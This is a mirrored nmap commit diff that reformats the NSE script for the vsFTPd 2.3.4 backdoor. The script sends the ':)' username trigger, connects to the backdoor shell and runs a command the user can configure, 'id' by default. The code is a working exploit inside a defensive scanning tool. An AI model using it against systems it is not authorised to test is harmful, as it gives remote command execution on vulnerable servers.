1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-15 12:19:02 +00:00

o [NSE] Clean indentation and make some variables local.

This commit is contained in:
djalal
2011-07-05 16:01:03 +00:00
parent 21abe501ea
commit e7d45910d9

View File

@@ -1,6 +1,3 @@
-- -*- mode: lua -*-
-- vim: set filetype=lua :
description = [[ description = [[
Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04. This Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04. This
script attempts to exploit the backdoor using the innocuous <code>id</code> script attempts to exploit the backdoor using the innocuous <code>id</code>
@@ -41,17 +38,17 @@ local CMD_FTP = "USER X:)\r\nPASS X\r\n"
local CMD_SHELL_ID = "id" local CMD_SHELL_ID = "id"
portrule = function (host, port) portrule = function (host, port)
-- Check if version detection knows what FTP server this is. -- Check if version detection knows what FTP server this is.
if port.version.product ~= nil and port.version.product ~= "vsftpd" then if port.version.product ~= nil and port.version.product ~= "vsftpd" then
return false return false
end end
-- Check if version detection knows what version of FTP server this is. -- Check if version detection knows what version of FTP server this is.
if port.version.version ~= nil and port.version.version ~= "2.3.4" then if port.version.version ~= nil and port.version.version ~= "2.3.4" then
return false return false
end end
return shortport.port_or_service(21, "ftp")(host, port) return shortport.port_or_service(21, "ftp")(host, port)
end end
local function finish_ftp(socket, status, message) local function finish_ftp(socket, status, message)
@@ -92,13 +89,13 @@ local function check_backdoor(host, shell_cmd)
if shell_cmd ~= CMD_SHELL_ID then if shell_cmd ~= CMD_SHELL_ID then
status, ret = socket:send(shell_cmd.."\n") status, ret = socket:send(shell_cmd.."\n")
if not status then if not status then
return finish_ftp(socket, false, "failed to send shell command") return finish_ftp(socket, false, "failed to send shell command")
end end
status, ret = socket:receive_lines(1) status, ret = socket:receive_lines(1)
if not status then if not status then
return finish_ftp(socket, false, return finish_ftp(socket, false,
string.format("failed to read shell commands results: %s", string.format("failed to read shell commands results: %s",
ret)) ret))
end end
end end
end end
@@ -107,59 +104,59 @@ local function check_backdoor(host, shell_cmd)
end end
action = function(host, port) action = function(host, port)
-- Get script arguments. -- Get script arguments.
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
local results = { local results = {
"This installation has been backdoored: VULNERABLE", "This installation has been backdoored: VULNERABLE",
"Command: " .. cmd, "Command: " .. cmd,
} }
-- check to see if the vsFTPd backdoor was already triggered -- check to see if the vsFTPd backdoor was already triggered
local status, ret = check_backdoor(host, cmd) local status, ret = check_backdoor(host, cmd)
if status then if status then
table.insert(results, string.format("Results: %s", ret)) table.insert(results, string.format("Results: %s", ret))
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end
-- Create socket. -- Create socket.
local sock, err = ftp.connect(host, port, local sock, err = ftp.connect(host, port,
{recv_before = false, {recv_before = false,
timeout = 8000}) timeout = 8000})
if not sock then if not sock then
stdnse.print_debug(1, "%s: can't connect: %s", stdnse.print_debug(1, "%s: can't connect: %s",
SCRIPT_NAME, err) SCRIPT_NAME, err)
return nil return nil
end end
-- Read banner.
buffer = stdnse.make_buffer(sock, "\r?\n")
local code, message = ftp.read_reply(buffer)
if not code then
stdnse.print_debug(1, "%s: can't read banner: %s",
SCRIPT_NAME, message)
sock:close()
return nil
end
status, ret = sock:send(CMD_FTP .. "\r\n") -- Read banner.
if not status then local buffer = stdnse.make_buffer(sock, "\r?\n")
stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s", local code, message = ftp.read_reply(buffer)
SCRIPT_NAME, ret) if not code then
return nil stdnse.print_debug(1, "%s: can't read banner: %s",
end SCRIPT_NAME, message)
sock:close()
return nil
end
stdnse.sleep(1) status, ret = sock:send(CMD_FTP .. "\r\n")
-- check if vsFTPd was backdoored if not status then
local status, ret = check_backdoor(host, cmd) stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s",
if not status then SCRIPT_NAME, ret)
stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, ret) return nil
return nil end
end
-- delay ftp socket cleaning stdnse.sleep(1)
sock:close() -- check if vsFTPd was backdoored
table.insert(results, string.format("Results: %s", ret)) status, ret = check_backdoor(host, cmd)
return stdnse.format_output(true, results) if not status then
stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, ret)
return nil
end
-- delay ftp socket cleaning
sock:close()
table.insert(results, string.format("Results: %s", ret))
return stdnse.format_output(true, results)
end end